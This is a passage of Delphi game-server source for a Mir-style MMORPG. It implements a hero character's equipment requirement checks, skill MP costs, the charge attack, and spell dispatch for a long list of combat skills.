'+g_sSabukHumanNot, BB_Fuchsia, t_Hint);//20080118 end; end; 70: begin // if (m_MyGuild <> nil) and (UserCastle.m_MasterGuild = m_MyGuild) and (m_nGuildRankNo = 1) then begin if (m_MyGuild <> nil) and (Castle <> nil) and (m_nGuildRankNo = 1) then begin if m_Abil.Level >= StdItem.NeedLevel then begin Result := True; end else begin SysMsg('(英雄) '+g_sLevelNot, BB_Fuchsia, t_Hint);//20080118 end; end else begin SysMsg('(英雄) '+g_sSabukMasterManNot, BB_Fuchsia, t_Hint); //20080118 end; end; 8: begin if m_nMemberType <> 0 then begin Result := True; end else begin SysMsg('(英雄) '+g_sMemberNot, BB_Fuchsia, t_Hint);//20080118 end; end; 81: begin if (m_nMemberType = LoWord(StdItem.NeedLevel)) and (m_nMemberLevel >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sMemberTypeNot, BB_Fuchsia, t_Hint);//20080118 end; end; 82: begin if (m_nMemberType >= LoWord(StdItem.NeedLevel)) and (m_nMemberLevel >= HiWord(StdItem.NeedLevel)) then begin Result := True; end else begin SysMsg('(英雄) '+g_sMemberTypeNot, BB_Fuchsia, t_Hint);//20080118 end; end; end; //if not Result then SysMsg(g_sCanottWearIt,c_Red,t_Hint); end; //取技能消耗的MP值 function THeroObject.GetSpellPoint(UserMagic: pTUserMagic): Integer; begin Result := Round(UserMagic.MagicInfo.wSpell / (UserMagic.MagicInfo.btTrainLv + 1) * (UserMagic.btLevel + 1)) + UserMagic.MagicInfo.btDefSpell; end; //英雄进行野蛮冲撞 20080331 function THeroObject.DoMotaebo(nDir: Byte; nMagicLevel: Integer): Boolean; function CanMotaebo(BaseObject: TBaseObject): Boolean; var nC: Integer; begin Result := False; if (m_Abil.Level > BaseObject.m_Abil.Level) and (not BaseObject.m_boStickMode) then begin nC := m_Abil.Level - BaseObject.m_Abil.Level; if Random(20) < ((nMagicLevel * 4) + 6 + nC) then begin if IsProperTarget(BaseObject) then Result := True; end; end; end; var bo35: Boolean; I, n20, n24, n28: Integer; PoseCreate: TBaseObject; BaseObject_30: TBaseObject; BaseObject_34: TBaseObject; nX, nY: Integer; begin Result := False; bo35 := True; m_btDirection := nDir; BaseObject_34 := nil; n24 := nMagicLevel + 1; n28 := n24; PoseCreate := GetPoseCreate(); if PoseCreate <> nil then begin for I := 0 to _MAX(2, nMagicLevel + 1) do begin PoseCreate := GetPoseCreate(); if PoseCreate <> nil then begin n28 := 0; if not CanMotaebo(PoseCreate) then Break; if nMagicLevel >= 3 then begin if m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, m_btDirection, 2, nX, nY) then begin BaseObject_30 := m_PEnvir.GetMovingObject(nX, nY, True); if (BaseObject_30 <> nil) and CanMotaebo(BaseObject_30) then BaseObject_30.CharPushed(m_btDirection, 1); end; end; BaseObject_34 := PoseCreate; if PoseCreate.CharPushed(m_btDirection, 1) <> 1 then Break; GetFrontPosition(nX, nY); if m_PEnvir.MoveToMovingObject(m_nCurrX, m_nCurrY, Self, nX, nY, False) > 0 then begin m_nCurrX := nX; m_nCurrY := nY; SendRefMsg(RM_RUSH, nDir, m_nCurrX, m_nCurrY, 0, ''); bo35 := False; Result := True; end; Dec(n24); end; //if PoseCreate <> nil then begin end; //for i:=0 to _MAX(2,nMagicLevel + 1) do begin end else begin //if PoseCreate <> nil then begin bo35 := False; for I := 0 to _MAX(2, nMagicLevel + 1) do begin GetFrontPosition(nX, nY); //sub_004B2790 if m_PEnvir.MoveToMovingObject(m_nCurrX, m_nCurrY, Self, nX, nY, False) > 0 then begin m_nCurrX := nX; m_nCurrY := nY; SendRefMsg(RM_RUSH, nDir, m_nCurrX, m_nCurrY, 0, ''); Dec(n28); end else begin if m_PEnvir.CanWalk(nX, nY, True) then n28 := 0 else begin bo35 := True; Break; end; end; end; end; if (BaseObject_34 <> nil) then begin if n24 < 0 then n24 := 0; n20 := Random((n24 + 1) * 10) + ((n24 + 1) * 10); n20 := BaseObject_34.GetHitStruckDamage(Self, n20); BaseObject_34.StruckDamage(n20); BaseObject_34.SendRefMsg(RM_STRUCK, n20, BaseObject_34.m_WAbil.HP, BaseObject_34.m_WAbil.MaxHP, Integer(Self), ''); if BaseObject_34.m_btRaceServer <> RC_PLAYOBJECT then begin BaseObject_34.SendMsg(BaseObject_34, RM_STRUCK, n20, BaseObject_34.m_WAbil.HP, BaseObject_34.m_WAbil.MaxHP, Integer(Self), ''); end; end; if bo35 then begin GetFrontPosition(nX, nY); SendRefMsg(RM_RUSHKUNG, m_btDirection, nX, nY, 0, ''); SysMsg('(英雄) '+sMateDoTooweak {冲撞力不够!!!}, BB_Fuchsia, t_Hint); //20080312 end; if n28 > 0 then begin if n24 < 0 then n24 := 0; n20 := Random(n24 * 10) + ((n24 + 1) * 3); n20 := GetHitStruckDamage(Self, n20); StruckDamage(n20); SendRefMsg(RM_STRUCK, n20, m_WAbil.HP, m_WAbil.MaxHP, 0, ''); end; end; function THeroObject.ClientSpellXY(UserMagic: pTUserMagic; nTargetX, nTargetY: Integer; TargeTBaseObject: TBaseObject): Boolean; var nSpellPoint: Integer; n14: Integer; BaseObject: TBaseObject; dwCheckTime,dwDelayTime: LongWord; boIsWarrSkill: Boolean; resourcestring sDisableMagicCross = '当前地图不允许使用:%s'; begin Result := False; if not m_boCanSpell then Exit; if m_boDeath or ((m_wStatusTimeArr[POISON_STONE] <> 0) and not g_Config.ClientConf.boParalyCanSpell) then Exit;//防麻 if m_PEnvir <> nil then begin if not m_PEnvir.AllowMagics(UserMagic.MagicInfo.sMagicName) then begin SysMsg(Format(sDisableMagicCross, [UserMagic.MagicInfo.sMagicName]), BB_Fuchsia, t_Notice); Exit; end; end; boIsWarrSkill := MagicManager.IsWarrSkill(UserMagic.wMagIdx); //是否是战士技能 // if not CheckActionStatus(UserMagic.wMagIdx,dwDelayTime) then Exit;//20080710 if not boIsWarrSkill then begin dwCheckTime := GetTickCount - m_dwMagicAttackTick; if dwCheckTime < m_dwMagicAttackInterval then begin Inc(m_dwMagicAttackCount); dwDelayTime := m_dwMagicAttackInterval - dwCheckTime; if dwDelayTime > g_Config.dwHeroMagicHitIntervalTime div 3 then begin if m_dwMagicAttackCount >= 2 then begin m_dwMagicAttackTick := GetTickCount(); m_dwMagicAttackCount := 0; end else m_dwMagicAttackCount := 0; Exit; end else Exit; end; end; Dec(m_nSpellTick, 450); m_nSpellTick := _MAX(0, m_nSpellTick); if boIsWarrSkill then begin //m_dwMagicAttackInterval:=0; m_dwMagicAttackInterval:= UserMagic.MagicInfo.dwDelayTime {+ g_Config.dwHeroMagicHitIntervalTime}; //20080524 魔法间隔 end else begin m_dwMagicAttackInterval := UserMagic.MagicInfo.dwDelayTime + g_Config.dwHeroMagicHitIntervalTime ;//20080524 end; if GetTickCount - m_dwMagicAttackTick > m_dwMagicAttackInterval then begin//20080222 英雄魔法间隔 m_dwMagicAttackTick := GetTickCount(); case UserMagic.wMagIdx of // SKILL_YEDO{7}:begin //攻杀剑术 20071213增加 if m_MagicPowerHitSkill <> nil then begin if m_boPowerHit then begin if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); HealthSpellChanged(); end; //SendSocket(nil, '+FIR'); end; end; end; Result := True; end; SKILL_ERGUM {12}: begin //刺杀剑法 if m_MagicErgumSkill <> nil then begin if not m_boUseThrusting then begin ThrustingOnOff(True); //SendSocket(nil, '+LNG'); end else begin ThrustingOnOff(False); //SendSocket(nil, '+ULNG'); end; end; Result := True; end; SKILL_BANWOL {25}: begin //半月弯刀 if m_MagicBanwolSkill <> nil then begin if not m_boUseHalfMoon then begin HalfMoonOnOff(True); //SendSocket(nil, '+WID'); end else begin HalfMoonOnOff(False); //SendSocket(nil, '+UWID'); end; end; Result := True; end; SKILL_FIRESWORD {26}: begin //烈火剑法 if m_MagicFireSwordSkill <> nil then begin if AllowFireHitSkill then begin nSpellPoint := GetSpellPoint(UserMagic); if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); HealthSpellChanged(); end; //SendSocket(nil, '+FIR'); end; end; end; Result := True; end; SKILL_74 :begin////逐日剑法 20080511 if m_Magic74Skill <> nil then begin if AllowDailySkill then begin nSpellPoint := GetSpellPoint(m_Magic74Skill); if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); //HealthSpellChanged(); end; end; end; end; Result := True; end; SKILL_MOOTEBO {27}: begin //野蛮冲撞 Result := True; if (GetTickCount - m_dwDoMotaeboTick) > {3 * 1000}3000 then begin m_dwDoMotaeboTick := GetTickCount(); // m_btDirection := TargeTBaseObject.m_btDirection{nTargetX};//20080409 修改野蛮冲撞的方向 if GetAttackDir(TargeTBaseObject,m_btDirection) then begin//20080409 修改野蛮冲撞的方向 nSpellPoint := GetSpellPoint(UserMagic); if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); HealthSpellChanged(); end; if DoMotaebo(m_btDirection, UserMagic.btLevel) then begin if UserMagic.btLevel < 3 then begin if UserMagic.MagicInfo.TrainLevel[UserMagic.btLevel] < m_Abil.Level then begin TrainSkill(UserMagic, Random(3) + 1); if not CheckMagicLevelup(UserMagic) then begin SendDelayMsg(Self,RM_HEROMAGIC_LVEXP,0,UserMagic.MagicInfo.wMagicId, UserMagic.btLevel,UserMagic.nTranPoint,'', 1000); end; end; end; end; end; end; end; end; SKILL_40: begin //双龙斩 抱月刀法 if m_MagicCrsSkill <> nil then begin if not m_boCrsHitkill then begin SkillCrsOnOff(True); //SendSocket(nil, '+CRS'); end else begin SkillCrsOnOff(False); //SendSocket(nil, '+UCRS'); end; end; Result := True; end; 43: begin //开天斩 if m_Magic42Skill <> nil then begin if Skill42OnOff then begin nSpellPoint := GetSpellPoint(UserMagic); if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); HealthSpellChanged(); end; // SendSocket(nil, '+TWN'); end; end; end; Result := True; end; 42: begin //龙影剑法 if m_Magic43Skill <> nil then begin if Skill43OnOff then begin//20080619 nSpellPoint := GetSpellPoint(UserMagic); if m_WAbil.MP >= nSpellPoint then begin if nSpellPoint > 0 then begin DamageSpell(nSpellPoint); HealthSpellChanged(); end; end; end; end; Result := True; end; else begin n14 := GetNextDirection(m_nCurrX, m_nCurrY, nTargetX, nTargetY); m_btDirection := n14; BaseObject := nil; //检查目标角色,与目标座标误差范围,如果在误差范围内则修正目标座标 {if UserMagic.wMagIdx in [60..65] then begin //如果是合击锁定目标 if CretInNearXY(TargeTBaseObject, nTargetX, nTargetY, 12) then begin//20080406 BaseObject := TargeTBaseObject; nTargetX := BaseObject.m_nCurrX; nTargetY := BaseObject.m_nCurrY; if m_Master <> nil then TPlayObject(m_Master).DoSpell(UserMagic, nTargetX, nTargetY, BaseObject);//合击主人攻击 20080522 end; end else begin if CretInNearXY(TargeTBaseObject, nTargetX, nTargetY) then begin//20080419 注释 BaseObject := TargeTBaseObject; nTargetX := BaseObject.m_nCurrX; nTargetY := BaseObject.m_nCurrY; end; end;} case UserMagic.wMagIdx of//20080814 修改 60..65: begin if ((m_wStatusTimeArr[POISON_STONE] = 0) and (m_Master.m_wStatusTimeArr[POISON_STONE] = 0)) or g_Config.ClientConf.boParalyCanSpell then begin//20080913 麻痹不能合击 if CretInNearXY(TargeTBaseObject, nTargetX, nTargetY, 12) then begin//20080406 BaseObject := TargeTBaseObject; nTargetX := BaseObject.m_nCurrX; nTargetY := BaseObject.m_nCurrY; if m_Master <> nil then TPlayObject(m_Master).DoSpell(UserMagic, nTargetX, nTargetY, BaseObject);//合击主人攻击 20080522 end; end else Exit; end; else begin if CretInNearXY(TargeTBaseObject, nTargetX, nTargetY) then begin//20080419 注释 BaseObject := TargeTBaseObject; nTargetX := BaseObject.m_nCurrX; nTargetY := BaseObject.m_nCurrY; end; end; end;//case if not DoSpell(UserMagic, nTargetX, nTargetY, BaseObject) then begin SendRefMsg(RM_MAGICFIREFAIL, 0, 0, 0, 0, '');//20080216 这句引起英雄会消失 20080407 end; Result := True; end; end; end;//20080222 英雄魔法间隔 end; function THeroObject.DoSpell(UserMagic: pTUserMagic; nTargetX, nTargetY: Integer; BaseObject: TBaseObject): Boolean; var boTrain: Boolean; nSpellPoint: Integer; boSpellFail: Boolean; boSpellFire: Boolean; nPower: Integer; nAmuletIdx: Integer; nPowerRate: Integer; nDelayTime: Integer; nDelayTimeRate: Integer; dwDelayTime: LongWord;//20080718 function MPow(UserMagic: pTUserMagic): Integer; begin Result := UserMagic.MagicInfo.wPower + Random(UserMagic.MagicInfo.wMaxPower - UserMagic.MagicInfo.wPower); end; function GetPower(nPower: Integer): Integer; begin Result := Round(nPower / (UserMagic.MagicInfo.btTrainLv + 1) * (UserMagic.btLevel + 1)) + (UserMagic.MagicInfo.btDefPower + Random(UserMagic.MagicInfo.btDefMaxPower - UserMagic.MagicInfo.btDefPower)); end; function GetPower13(nInt: Integer): Integer; var d10: Double; d18: Double; begin d10 := nInt / 3.0; d18 := nInt - d10; Result := Round(d18 / (UserMagic.MagicInfo.btTrainLv + 1) * (UserMagic.btLevel + 1) + d10 + (UserMagic.MagicInfo.btDefPower + Random(UserMagic.MagicInfo.btDefMaxPower - UserMagic.MagicInfo.btDefPower))); end; procedure sub_4934B4(PlayObject: TBaseObject); begin if PlayObject.m_UseItems[U_ARMRINGL].Dura < 100 then begin PlayObject.m_UseItems[U_ARMRINGL].Dura := 0; if PlayObject.m_btRaceServer = RC_HEROOBJECT then begin THeroObject(PlayObject).SendDelItems(@PlayObject.m_UseItems[U_ARMRINGL]); end; PlayObject.m_UseItems[U_ARMRINGL].wIndex := 0; end; end; begin Result := False; boSpellFail := False; boSpellFire := True; nSpellPoint := GetSpellPoint(UserMagic); //需要的魔法值 if (nSpellPoint > 0) and (UserMagic.wMagIdx <> 68) then begin //如果 需要的魔法值 >0 酒气护体不在此处减HP 20080925 if m_WAbil.MP < nSpellPoint then Exit;//如果魔法值 小于 需要的魔法值 那么退出 DamageSpell(nSpellPoint);//让英雄 减少 nSpellPoint mp HealthSpellChanged(); end; if m_boTrainingNG then begin//20081003 学过内功心法,每攻击一次减一点内力值 m_Skill69NH := _MAX(0, m_Skill69NH - g_Config.nHitStruckDecNH); SendREFMsg( RM_MAGIC69SKILLNH, 0, m_Skill69NH, m_Skill69MaxNH, 0, ''); end; try if BaseObject <> nil then //20080215 修改, if (BaseObject.m_boGhost) or (BaseObject.m_boDeath) or (BaseObject.m_WAbil.HP <=0) then Exit;//20080428 修改 if MagicManager.IsWarrSkill(UserMagic.wMagIdx) then Exit; if (abs(m_nCurrX - nTargetX) > g_Config.nMagicAttackRage) or (abs(m_nCurrY - nTargetY) > g_Config.nMagicAttackRage) then begin Exit; end; if (not CheckActionStatus(UserMagic.MagicInfo.wMagicId,dwDelayTime)) {or (GetSpellMsgCount > 0 )} then Exit;//20080720 if (m_btJob = 0) and (UserMagic.MagicInfo.wMagicId = 61) then begin //20080604 劈星斩战士效果 m_btDirection:= GetNextDirection(m_nCurrX, m_nCurrY, BaseObject.m_nCurrX, BaseObject.m_nCurrY);//20080611 SendRefMsg(RM_MYSHOW, 5,0, 0, 0, ''); //劈星战士自身动画 20080611 SendAttackMsg(RM_PIXINGHIT, m_btDirection, m_nCurrX, m_nCurrY);//20080611 end else if (m_btJob = 0) and (UserMagic.MagicInfo.wMagicId = 62) then begin //20080611 雷霆一击战士效果 m_btDirection:= GetNextDirection(m_nCurrX, m_nCurrY, BaseObject.m_nCurrX, BaseObject.m_nCurrY);//20080611 SendAttackMsg(RM_LEITINGHIT, m_btDirection, m_nCurrX, m_nCurrY); end else begin case UserMagic.MagicInfo.wMagicId of //4级技能发不同的消息 13:begin if (UserMagic.btLevel = 4) and (m_nLoyal >=g_Config.nGotoLV4) then //4级火符 SendRefMsg(RM_SPELL, 100, nTargetX, nTargetY, UserMagic.MagicInfo.wMagicId, '') else SendRefMsg(RM_SPELL, UserMagic.MagicInfo.btEffect, nTargetX, nTargetY, UserMagic.MagicInfo.wMagicId, ''); end; 26:; 45:begin if (UserMagic.btLevel = 4) and (m_nLoyal >=g_Config.nGotoLV4) then SendRefMsg(RM_SPELL, 101, nTargetX, nTargetY, UserMagic.MagicInfo.wMagicId, '') else SendRefMsg(RM_SPELL, UserMagic.MagicInfo.btEffect, nTargetX, nTargetY, UserMagic.MagicInfo.wMagicId, ''); end; else//0..12,14..25,27..44,46..100: //20080324 SendRefMsg(RM_SPELL, UserMagic.MagicInfo.btEffect, nTargetX, nTargetY, UserMagic.MagicInfo.wMagicId, ''); end; end; if (BaseObject <> nil) and (UserMagic.MagicInfo.wMagicId <> SKILL_57) and (UserMagic.MagicInfo.wMagicId <> SKILL_54) and (UserMagic.MagicInfo.wMagicId < 100) then begin if (BaseObject.m_boDeath) then BaseObject := nil; end; boTrain := False; boSpellFail := False; boSpellFire := True; case UserMagic.MagicInfo.wMagicId of // SKILL_FIREBALL {1}, SKILL_FIREBALL2 {5}: begin //火球术 大火球 if MagicManager.MagMakeFireball(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_HEALLING {2}: begin //治愈术 if MagicManager.MagTreatment(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_AMYOUNSUL {6}: begin //施毒术 if MagicManager.MagLightening(self, UserMagic, nTargetX, nTargetY, BaseObject, boSpellFail) then boTrain := True; end; SKILL_FIREWIND {8}: begin //抗拒火环 if MagicManager.MagPushArround(self, UserMagic.btLevel) > 0 then boTrain := True; end; SKILL_FIRE {9}: begin //地狱火 if MagicManager.MagMakeHellFire(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_SHOOTLIGHTEN {10}: begin //疾光电影 if MagicManager.MagMakeQuickLighting(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_LIGHTENING {11}: begin //雷电术 if MagicManager.MagMakeLighting(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_FIRECHARM {13}, SKILL_HANGMAJINBUB {14}, SKILL_DEJIWONHO {15}, SKILL_HOLYSHIELD {16}, SKILL_SKELLETON {17}, SKILL_CLOAK {18}, SKILL_BIGCLOAK {19}, SKILL_52{52}, SKILL_57, SKILL_59: begin boSpellFail := True; if CheckAmulet(self, 1, 1, nAmuletIdx) then begin UseAmulet(self, 1, 1, nAmuletIdx); case UserMagic.MagicInfo.wMagicId of // SKILL_FIRECHARM {13}: begin //灵魂火符 if MagicManager.MagMakeFireCharm(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_HANGMAJINBUB {14}: begin //幽灵盾 nPower := GetAttackPower(GetPower13(60) + LoWord(m_WAbil.SC) * 10, SmallInt(HiWord(m_WAbil.SC) - LoWord(m_WAbil.SC)) + 1); if MagMakeDefenceArea(nTargetX, nTargetY, 3, nPower, 1) > 0 then boTrain := True; end; SKILL_DEJIWONHO {15}: begin //神圣战甲术 nPower := GetAttackPower(GetPower13(60) + LoWord(m_WAbil.SC) * 10, SmallInt(HiWord(m_WAbil.SC) - LoWord(m_WAbil.SC)) + 1); if MagMakeDefenceArea(nTargetX, nTargetY, 3, nPower, 0) > 0 then boTrain := True; end; SKILL_HOLYSHIELD {16}: begin //困魔咒 if MagicManager.MagMakeHolyCurtain(self, GetPower13(40) + GetRPow(m_WAbil.SC) * 3, nTargetX, nTargetY) > 0 then boTrain := True; end; SKILL_SKELLETON {17}: begin //召唤骷髅 if MagicManager.MagMakeSlave(self, UserMagic) then boTrain := True; end; SKILL_CLOAK {18}: begin //隐身术 if MagicManager.MagMakePrivateTransparent(self, GetPower13(30) + GetRPow(m_WAbil.SC) * 3) then boTrain := True; end; SKILL_BIGCLOAK {19}: begin //集体隐身术 if MagicManager.MagMakeGroupTransparent(self, nTargetX, nTargetY, GetPower13(30) + GetRPow(m_WAbil.SC) * 3) then boTrain := True; end; SKILL_52: begin //诅咒术 nPower := GetAttackPower(GetPower13(20) + LoWord(m_WAbil.SC) * 2, SmallInt(HiWord(m_WAbil.SC) - LoWord(m_WAbil.SC)) + 1); if MagMakeAbilityArea(nTargetX, nTargetY, 3, nPower) > 0 then boTrain := True; end; SKILL_57: begin //复活术 if MagicManager.MagMakeLivePlayObject(self, UserMagic, BaseObject) then boTrain := True; end; SKILL_59: begin//噬血术 20080511 if MagicManager.MagFireCharmTreatment(self,UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; end; boSpellFail := False; sub_4934B4(self); end; end; SKILL_TAMMING {20}: begin //诱惑之光 if IsProperTarget(BaseObject) then begin if MagicManager.MagTamming(self, BaseObject, nTargetX, nTargetY, UserMagic.btLevel) then boTrain := True; end; end; SKILL_SPACEMOVE {21}: begin //瞬息移动 SendRefMsg(RM_MAGICFIRE, 0, MakeWord(UserMagic.MagicInfo.btEffectType, UserMagic.MagicInfo.btEffect), MakeLong(nTargetX, nTargetY), Integer(BaseObject), ''); boSpellFire := False; if MagicManager.MagSaceMove(self, UserMagic.btLevel) then boTrain := True; end; SKILL_EARTHFIRE {22}: begin //火墙 nPower := GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC),SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1); nDelayTime := GetPower(10) + (Word(GetRPow(m_WAbil.MC)) shr 1); nPowerRate := Round(nPower * (g_Config.nFirePowerRate / 100));//火墙威力倍数 nDelayTimeRate := Round(nDelayTime * (g_Config.nFireDelayTimeRate / 100));//火墙时间 if MagicManager.MagMakeFireCross(self, nPowerRate, nDelayTimeRate, nTargetX, nTargetY) > 0 then boTrain := True; end; SKILL_FIREBOOM {23}: begin //爆裂火焰 if MagicManager.MagBigExplosion(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1), nTargetX, nTargetY, g_Config.nFireBoomRage {1},SKILL_FIREBOOM) then boTrain := True; end; SKILL_LIGHTFLOWER {24}: begin //地狱雷光 if MagicManager.MagElecBlizzard(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1)) then boTrain := True; end; SKILL_SHOWHP {28}: begin//心灵启示 if (BaseObject <> nil) and not BaseObject.m_boShowHP then begin if Random(6) <= (UserMagic.btLevel + 3) then begin BaseObject.m_dwShowHPTick := GetTickCount(); BaseObject.m_dwShowHPInterval := GetPower13(GetRPow(m_WAbil.SC) * 2 + 30) * 1000; BaseObject.SendDelayMsg(BaseObject, RM_DOOPENHEALTH, 0, 0, 0, 0, '', 1500); boTrain := True; end; end; end; SKILL_BIGHEALLING {29}: begin //群体治疗术 nPower := GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.SC) * 2, SmallInt(HiWord(m_WAbil.SC) - LoWord(m_WAbil.SC)) * 2 + 1); if MagicManager.MagBigHealing(self, nPower + m_WAbil.Level, nTargetX, nTargetY) then boTrain := True; end; SKILL_SINSU {30}: begin //召唤神兽 boSpellFail := True; if CheckAmulet(self, 5, 1, nAmuletIdx) then begin UseAmulet(self, 5, 1, nAmuletIdx); if MagicManager.MagMakeSinSuSlave(self, UserMagic) then boTrain := True; boSpellFail := False; end; end; SKILL_SHIELD {31},SKILL_66{66}: begin //魔法盾,4级魔法盾 20080624 if MagBubbleDefenceUp(UserMagic.btLevel, GetPower(GetRPow(m_WAbil.MC) + 15)) then boTrain := True; end; SKILL_73 {73}: begin //道力盾 20080301 if MagBubbleDefenceUp(UserMagic.btLevel, GetPower(GetRPow(m_WAbil.SC) + 15)) then boTrain := True; end; SKILL_75 {75}: begin //护体神盾 20080107 if (GetTickCount - m_boProtectionTick > g_Config.dwProtectionTick) then begin if MagProtectionDefenceUp(UserMagic.btLevel) then begin boTrain := True; end; end else Exit; end; SKILL_KILLUNDEAD {32}: begin //圣言术 if IsProperTarget(BaseObject) then begin if MagicManager.MagTurnUndead(self, BaseObject, nTargetX, nTargetY, UserMagic.btLevel) then boTrain := True; end; end; SKILL_SNOWWIND {33}: begin //冰咆哮 if MagicManager.MagBigExplosion(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1), nTargetX, nTargetY, g_Config.nSnowWindRange {1},SKILL_SNOWWIND) then boTrain := True; end; SKILL_UNAMYOUNSUL {34}: begin //解毒术 if MagicManager.MagMakeUnTreatment(self,UserMagic,nTargetX,nTargetY,BaseObject) then boTrain := True; end; SKILL_WINDTEBO {35}: if MagicManager.MagWindTebo(self, UserMagic) then boTrain := True; SKILL_MABE {36}: begin //火焰冰 nPower := GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1); if MagicManager.MabMabe(self, BaseObject, nPower, UserMagic.btLevel, nTargetX, nTargetY) then boTrain := True; end; SKILL_GROUPLIGHTENING {37}: begin//群体雷电术 if MagicManager.MagGroupLightening(self, UserMagic, nTargetX, nTargetY, BaseObject, boSpellFire) then boTrain := True; end; SKILL_GROUPAMYOUNSUL {38}: begin//群体施毒术 if MagicManager.MagGroupAmyounsul(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_GROUPDEDING {39}: begin//地钉 if GetTickCount - m_dwDedingUseTick > g_Config.nDedingUseTime * 1000 then begin m_dwDedingUseTick := GetTickCount; if MagicManager.MagGroupDeDing(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; end; SKILL_41: begin //狮子吼 if MagicManager.MagGroupMb(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_42: begin //开天斩 if MagicManager.MagHbFireBall(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_43: begin //龙影剑法 if MagicManager.MagHbFireBall(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_44: begin //寒冰掌 if MagicManager.MagHbFireBall(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_45: begin //灭天火 if MagicManager.MagMakeFireDay(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; // boSpellFire:=False;//20080113 end; SKILL_46: begin //分身术 if MagicManager.MagMakeSelf(self, BaseObject, UserMagic) then boTrain := True; end; SKILL_47: begin //火龙气焰 if MagicManager.MagBigExplosion(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1), nTargetX, nTargetY, g_Config.nFireBoomRage {1},SKILL_47) then boTrain := True; end; SKILL_58: begin //流星火雨 20080510 if MagicManager.MagBigExplosion1(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1), nTargetX, nTargetY, g_Config.nMeteorFireRainRage) then boTrain := True; end; //道士 SKILL_48: begin //气功波 if MagicManager.MagPushArround(self, UserMagic.btLevel) > 0 then boTrain := True; end; SKILL_49: begin //净化术 boTrain := True; end; SKILL_50: begin //无极真气 if AbilityUp(UserMagic) then boTrain := True; end; SKILL_51: begin //飓风破 if MagicManager.MagGroupFengPo(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_53: begin //血咒 boTrain := True; end; SKILL_54: begin //骷髅咒 if IsProperTargetSKILL_54(BaseObject) then begin if MagicManager.MagTamming2(self, BaseObject, nTargetX, nTargetY, UserMagic.btLevel) then boTrain := True; end; end; SKILL_55: begin //擒龙手 if MagicManager.MagMakeArrestObject(self, UserMagic, BaseObject) then boTrain := True; end; SKILL_56: begin //移行换位 if MagicManager.MagChangePosition(self, nTargetX, nTargetY) then boTrain := True; end; SKILL_68: begin//英雄酒气护体 20080925 MagMakeHPUp(UserMagic); boTrain := False; end; SKILL_72: begin //召唤月灵 if CheckAmulet(self, 5, 1, nAmuletIdx) then begin UseAmulet(self, 5, 1, nAmuletIdx); if MagicManager.MagMakeFairy(self, UserMagic) then boTrain := True; end; end; SKILL_60: begin //破魂斩 战+战 if MagicManager.MagMakeSkillFire_60(self, UserMagic, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.DC), SmallInt(HiWord(m_WAbil.DC) - LoWord(m_WAbil.DC)) + 1) * 3) then boTrain := True; end; SKILL_61: begin //劈星斩 战+道 if MagicManager.MagMakeSkillFire_61(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_62: begin//雷霆一击 战+法 if MagicManager.MagMakeSkillFire_62(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; //if m_btJob = 1 then boSpellFire := False;//20080611 end; SKILL_63: begin //噬魂沼泽 道+道 if MagicManager.MagMakeSkillFire_63(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_64: begin //末日审判 道+法 if MagicManager.MagMakeSkillFire_64(self, UserMagic, nTargetX, nTargetY, BaseObject) then boTrain := True; end; SKILL_65: begin //火龙气焰 法+法 if MagicManager.MagMakeSkillFire_65(self, GetAttackPower(GetPower(MPow(UserMagic)) + LoWord(m_WAbil.MC), SmallInt(HiWord(m_WAbil.MC) - LoWord(m_WAbil.MC)) + 1)) then boTrain := True; end; else begin if Assigned(zPlugOfEngine.SetHookDoSpell) then boTrain := 